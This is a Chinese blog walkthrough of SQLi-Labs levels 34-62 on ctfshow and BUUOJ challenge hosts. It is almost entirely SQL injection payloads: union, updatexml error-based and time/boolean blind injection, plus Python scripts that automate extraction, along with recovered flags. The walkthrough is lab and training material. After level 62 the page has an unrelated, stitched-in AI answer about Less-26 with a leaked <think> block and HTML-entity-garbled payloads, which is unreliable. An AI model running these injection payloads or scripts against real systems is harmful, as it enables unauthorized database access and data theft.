# SQLILABS 34-61

本文详细介绍了SQL注入的多个级别,从利用十六进制编码绕过过滤,到数字型注入,再到时间盲注和报错注入。通过示例展示了如何利用SQL注入获取数据库信息,包括schema、table、column和flag数据。同时,提供了Python脚本进行自动化探测,揭示了SQL注入的各种策略和技术。

SQLILABS 34-61

level 34

十六进制代替 " "里的东西

1 �’union select 1,group_concat(schema_name) from information_schema.schemata #
1 �’union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x63746673686f77 #

level 35

有点直接。。。数字型注入???
?id=-1 union select 1,2,flag4s from ctfshow.flags%23

level 36

emmm
?id=-1�’union select 1,2,flag4s from ctfshow.flags%23

level 37

emmm
-1�’union select 1,2,flag4s from ctfshow.flags#

level 38

emmm
-1�’union select 1,flag4s from ctfshow.flags#

level 39

emmm
?id=-1 union select% 1,2,flag4s from ctfshow.flags%23

level 40

盲注跑脚本就是了

import requests
import time
url = "http://591c712f-cd11-4547-94e0-27df596874e3.challenge.ctf.show:8080/"

result=""
for i in range(1,1290):
    head=32
    tail=127
    while head<tail:
        mid=(head+tail)>>1
        #?id=100"||if(ascii(substr((seLeCt(group_concat(schema_name))from(information_schema.schemata)),1,1))>9999,1,0)||"0
        # payload="?id=100')||if(ascii(substr((seleCt(group_concat(schema_name))from(information_schema.schemata)),{},1))>{},1,0)%23".format(i,mid)
        # payload="?id=100')||if(ascii(substr((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)='ctfshow'),{},1))>{},1,0)||('0".format(i,mid)
        # payload="?id=100')||if(ascii(substr((select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name)='flags'),{},1))>{},1,0)||('0".format(i,mid)
        payload="?id=1') and if(ascii(substr((seLect(flag4s)from(ctfshow.flags)),{},1))>{},1,0)%23".format(i,mid)
        # print(url+payload)

        r=requests.get(url+payload)

        if "Your Username is : Dumb" in r.text:
            head=mid+1
        else:
            tail=mid
    if head !=32:
        result+=chr(head)
    else:
        break
    
    print(result)

中间没改,要用的话自己改改

level 41

上面脚本 里面的 ‘) 去掉就行’

level 42

密码处
-1’ union select 1,2,3#
-1’ union select 1,flag4s,3 from ctfshow.flags#

level 43

-1’) union select 1,2,3 #
-1’) union select 1,flag4s,3 from ctfshow.flags#

level 44

admin’ or if(ascii(substr(database(),1,1))>1,sleep(3),0) #
时间盲注。。脚本改一改

level 45

admin’) or 1=1 #
admin’) or if(ascii(substr(database(),1,1))>1,sleep(3),0) #
时间盲注改一改

level 46

报错注入
1 or updatexml(1,concat(0x26,(select left(group_concat(schema_name),30) from information_schema.schemata),0x26),1)#
1 or updatexml(1,concat(0x26,(select right(group_concat(schema_name),30) from information_schema.schemata),0x26),1)#
1 or updatexml(1,concat(0x26,(select right(group_concat(table_name),30) from information_schema.tables where table_schema=‘ctfshow’),0x26),1)#
1 or updatexml(1,concat(0x26,(select right(group_concat(column_name),30) from information_schema.columns where table_name=‘flags’),0x26),1)#
1 or updatexml(1,concat(0x26,(select right(group_concat(flag4s),30) from ctfshow.flags),0x26),1)#
1 or updatexml(1,concat(0x26,(select left(group_concat(flag4s),30) from ctfshow.flags),0x26),1)#
ctfshow{04b1482e-203c-44f1-8bb6-df5b27801821}

level 47

1’or updatexml(1,concat(0x26,(select left(group_concat(schema_name),30) from information_schema.schemata),0x26),1)%23




1’ or updatexml(1,concat(0x26,(select right(group_concat(flag4s),30) from ctfshow.flags),0x26),1)%23
1’ or updatexml(1,concat(0x26,(select left(group_concat(flag4s),30) from ctfshow.flags),0x26),1)%23

ctfshow{749b597e-5a51-495b-b92c-1a3accd21bc0}

?sort=1’or if(ascii(substr(database(),1,1))>1,sleep(0.5),0) %23

level 48

import requests
url = "http://ee9f5ee9-1368-4d89-a875-1a44cfdf308e.challenge.ctf.show:8080/?sort=1 and "

result=""
for i in range(1,1290):
    head=32
    tail=127
    while head<tail:
        mid=(head+tail)>>1
        # payload="if(ascii(substr(database(),{},1))>{},sleep(0.5),0) %23".format(i,mid)
        # payload="if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{},1))>{},sleep(1),0) %23".format(i,mid)
        # payload="if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema='ctftraining'),{},1))>{},sleep(1),0) %23".format(i,mid)
        # payload="if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='flag'),{},1))>{},sleep(1),0) %23".format(i,mid)
        payload="if(ascii(substr((select flag4s from ctfshow.flags),{},1))>{},sleep(0.5),0) %23".format(i,mid)
        # print(url+payload)
        # start_time=time.time()
        r=requests.get(url+payload)
        print(url+payload)
        #print(r.text)
        try:
            r = requests.get(url+payload,timeout=0.4)
            tail = mid

        except:
            head = mid + 1

    if head !=32:
        result+=chr(head)
    else:
        break
    
    print(result)

ctfshow{6d997ae2-953d-4117-8563-e426fb32bc65}

level 49

时间盲注

1’ and if(ascii(substr((seleCt(group_concat(schema_name))from(information_schema.schemata)),1,1))>2,sleep(0.5),0) %23

贴个脚本,自己改

import requests
url = "http://583bbd02-c708-41eb-86ab-f792729f9843.node4.buuoj.cn/Less-49/?sort=1' and "

result=""
for i in range(1,1290):
    head=32
    tail=127
    while head<tail:
        mid=(head+tail)>>1
        payload="if(ascii(substr(database(),{},1))>{},sleep(0.5),0) %23".format(i,mid)
        # payload="if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{},1))>{},sleep(1),0) %23".format(i,mid)
        # payload="if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema='ctftraining'),{},1))>{},sleep(1),0) %23".format(i,mid)
        # payload="if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='flag'),{},1))>{},sleep(1),0) %23".format(i,mid)
        # payload="if(ascii(substr((select flag4s from ctfshow.flags),{},1))>{},sleep(0.5),0) %23".format(i,mid)
        # print(url+payload)
        # start_time=time.time()
        r=requests.get(url+payload)
        print(url+payload)
        #print(r.text)
        try:
            r = requests.get(url+payload,timeout=0.4)
            tail = mid

        except:
            head = mid + 1

    if head !=32:
        result+=chr(head)
    else:
        break
    
    print(result)

level 50

1 or updatexml(1,concat(0x26,(select right(group_concat(flag4s),30) from ctfshow.flags),0x26),1)%23
1 or updatexml(1,concat(0x26,(select left(group_concat(flag4s),30) from ctfshow.flags),0x26),1)%23

ctfshow{0f3c691a-ba65-4f5b-ad46-bc0e58100b9e}

level 51

1’or updatexml(1,concat(0x26,(select right(group_concat(flag4s),30) from ctfshow.flags),0x26),1)%23
1’or updatexml(1,concat(0x26,(select left(group_concat(flag4s),30) from ctfshow.flags),0x26),1)%23
ctfshow{23972c5c-3569-4115-8572-0f754336659a}

level 52

时间盲注
?sort=1 and if(ascii(substr((seleCt(group_concat(schema_name))from(information_schema.schemata)),1,1))>2,sleep(5),0) %23
49那个脚本改一改

level 53

时间盲注脚本跑一跑
?sort=1’ and if(ascii(substr(database(),1,1))>114,sleep(0.5),0) %23

level 54

网上没环境了
用docker搭了个环境自己做
10次机会
先写好语句
id=-1’ union select 1,group_concat(schema_name),3 from information_schema.schemata %23
id=-1’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘challenges’ %23
N4QU4VGMDT
id=-1’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘N4QU4VGMDT’ %23
secret_XA5R
?id=-1’union select 1,group_concat(secret_XA5R),3 from challenges.N4QU4VGMDT %23

level 55

?id=-1) union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘challenges’%23
?id=-1) union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘RW5TWVFDYU’%23
?id=-1) union select 1,group_concat(secret_O1KM),3 from challenges.RW5TWVFDYU%23

level 56

?id=-1’) union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘challenges’%23
MMFDGR6C60
?id=-1’) union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘MMFDGR6C60’%23
secret_ZGCM
?id=-1’) union select 1,group_concat(secret_ZGCM),3 from challenges.MMFDGR6C60%23

level 57

?id=-1" union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘challenges’%23
UCNSDJBA2P
?id=-1" union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘UCNSDJBA2P’%23
secret_7COO
?id=-1" union select 1,group_concat(secret_7COO),3 from challenges.UCNSDJBA2P%23

level 58

没有回显,有报错信息
报错注入
1’ or updatexml(1,concat(0x26,(select right(group_concat(table_name),30) from information_schema.tables where table_schema=‘challenges’),0x26),1)%23
WMYP9VS7T2
1’ or updatexml(1,concat(0x26,(select right(group_concat(column_name),30) from information_schema.columns where table_name=‘WMYP9VS7T2’),0x26),1)%23
secret_YKLV
1’ or updatexml(1,concat(0x26,(select right(group_concat(secret_YKLV),30) from challenges.WMYP9VS7T2),0x26),1)%23
BzE8UovoHobfXoFK5rflIeMo

level 59

?id=1 or updatexml(1,concat(0x26,(select right(group_concat(table_name),30) from information_schema.tables where table_schema=‘challenges’),0x26),1)%23
WZBWCK0O8M
?id=1 or updatexml(1,concat(0x26,(select right(group_concat(column_name),30) from information_schema.columns where table_name=‘WZBWCK0O8M’),0x26),1)%23
secret_CNZ0
?id=1 or updatexml(1,concat(0x26,(select right(group_concat(secret_CNZ0),30) from challenges.WZBWCK0O8M),0x26),1)%23
JeF0NQQk0TXsVJM6MzoPbtiL

level 60

?id=1")or updatexml(1,concat(0x26,(select right(group_concat(table_name),30) from information_schema.tables where table_schema=‘challenges’),0x26),1)%23
IYK33M1WVE
?id=1")or updatexml(1,concat(0x26,(select right(group_concat(column_name),30) from information_schema.columns where table_name=‘IYK33M1WVE’),0x26),1)%23
secret_WL6G
?id=1")or updatexml(1,concat(0x26,(select right(group_concat(secret_WL6G),30) from challenges.IYK33M1WVE),0x26),1)%23
f3Vhf9q9mInCQoAqyOXGCLcy

level 61

?id=1’))or updatexml(1,concat(0x26,(select right(group_concat(table_name),30) from information_schema.tables where table_schema=‘challenges’),0x26),1)%23
UEEUBQKDFE
?id=1’))or updatexml(1,concat(0x26,(select right(group_concat(column_name),30) from information_schema.columns where table_name=‘UEEUBQKDFE’),0x26),1)%23
secret_RMS1
?id=1")or updatexml(1,concat(0x26,(select right(group_concat(secret_RMS1),30) from challenges.UEEUBQKDFE),0x26),1)%23
KnCHCTocAwPG2sToN2wUczxu

level 62

上脚本
S3BCU54QBK
secret_AYW3

<think>好的,用户想要解决SQLiLabs Less-26的挑战,我需要先回顾一下这个关卡的特点。Less-26通常涉及绕过过滤机制,比如过滤空格、注释符或者某些关键词。根据提供的引用内容,之前的关卡如Less-36提到使用GBK编码绕过转义,而Less-11、12和48使用了报错注入技术,比如extractvalue和updatexml函数。此外,Less-34涉及UTF编码的知识,可能与字符编码有关。 首先,我需要确认Less-26的具体过滤规则。根据经验,Less-26可能过滤了空格、注释符(如--+或#),可能还有某些关键字如union、select等。用户可能需要使用替代字符绕过过滤,比如用%a0代替空格,或者使用括号包裹注入语句。例如,使用报错注入时,需要确保闭合单引号,并绕过空格过滤。 接下来,构造注入语句。例如,爆库名时,可能需要用报错函数,结合concat和0x7e符号。同时,替换空格为%a0或使用括号。例如:&#39;or(updatexml(1,concat(0x7e,(select database())),1))%26%26&#39;a&#39;=&#39;a。这里需要注意闭合原查询的单引号,并使用逻辑运算符绕过过滤。 另外,考虑字符编码的问题,可能需要调整字符集,如GBK,但根据引用[1],这需要设置正确的字符集。不过Less-26是否涉及字符集绕过还不确定,可能需要结合其他方法。 用户可能需要逐步测试过滤的字符,尝试不同的替代方法,比如使用双重编码或特定符号代替空格。同时,确保注入语句的正确闭合,避免语法错误。在获取表名和字段名时,需要利用information_schema,并处理可能的过滤,例如将users表名用十六进制表示,避免单引号被过滤。 最后,总结步骤,帮助用户理解每个注入步骤的目的和方法,并提供相关问题以深化理解,如如何绕过其他过滤,替代空格的其他方法,以及报错注入的其他函数。</think>### SQLi-Labs Less-26 解决方案 #### 一、关卡特性分析 Less-26 是 SQLi-Labs 中针对**过滤空格和注释符**的注入挑战。主要过滤以下内容: 1. 空格(包括普通空格、`%20`、`+`) 2. 注释符(`--+`、`#`) 3. 部分关键词(如`union select`可能被拆分会失效) 引用示例中的报错注入技术[^2][^3]在此关卡仍适用,但需要绕过过滤规则。 --- #### 二、绕过过滤的核心方法 1. **替代空格的字符**: - `%a0`(URL 编码的不可见字符) - 使用括号`()`包裹语句 - 例如:`select(schema_name)from(information_schema.schemata)` 2. **绕过注释符**: - 通过逻辑运算符闭合语句,如 `&#39;||&#39;1&#39;=&#39;1` 或 `&#39;&&&#39;1&#39;=&#39;1` 3. **关键词拆分绕过**: - 使用双写、大小写混合或插入特殊符号(如`uni%a0on sele%a0ct`) --- #### 三、分步骤注入流程 ##### 1. 判断注入点 输入测试载荷: ```sql &#39;||&#39;1&#39;=&#39;1 ``` 若返回正常页面,说明存在字符型注入。 ##### 2. 爆数据库名 使用报错注入函数`updatexml`,替代空格为`%a0`: ```sql &#39;or(updatexml(1,concat(0x7e,(select%a0database())),1))%26%26&#39;a&#39;=&#39;a ``` - `%26%26` 是 `&&` 的 URL 编码 - 输出示例:`XPATH syntax error: &#39;~security&#39;` → 数据库名为 `security`[^3] ##### 3. 爆表名 ```sql &#39;or(updatexml(1,concat(0x7e,(select%a0group_concat(table_name)%a0from%a0information_schema.tables%a0where%a0table_schema=database())),1))%26%26&#39;a&#39;=&#39;a ``` 输出示例:`~emails,referers,uagents,users` ##### 4. 爆字段名(以 `users` 表为例) ```sql &#39;or(updatexml(1,concat(0x7e,(select%a0group_concat(column_name)%a0from%a0information_schema.columns%a0where%a0table_name=&#39;users&#39;)),1))%26%26&#39;a&#39;=&#39;a ``` 输出示例:`~id,username,password` ##### 5. 提取数据 ```sql &#39;or(updatexml(1,concat(0x7e,(select%a0group_concat(username,0x3a,password)%a0from%a0users)),1))%26%26&#39;a&#39;=&#39;a ``` 输出示例:`~Dumb:Dumb,Angelina:...` --- #### 四、防御措施(参考引用[^1]) 若开发中需防范此类攻击: 1. 使用 `mysql_real_escape_string()` 前设置字符集为 `gbk`: ```php mysql_set_charset(&#39;gbk&#39;, $conn); ``` 2. 使用预编译语句(PDO/MySQLi) ---
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值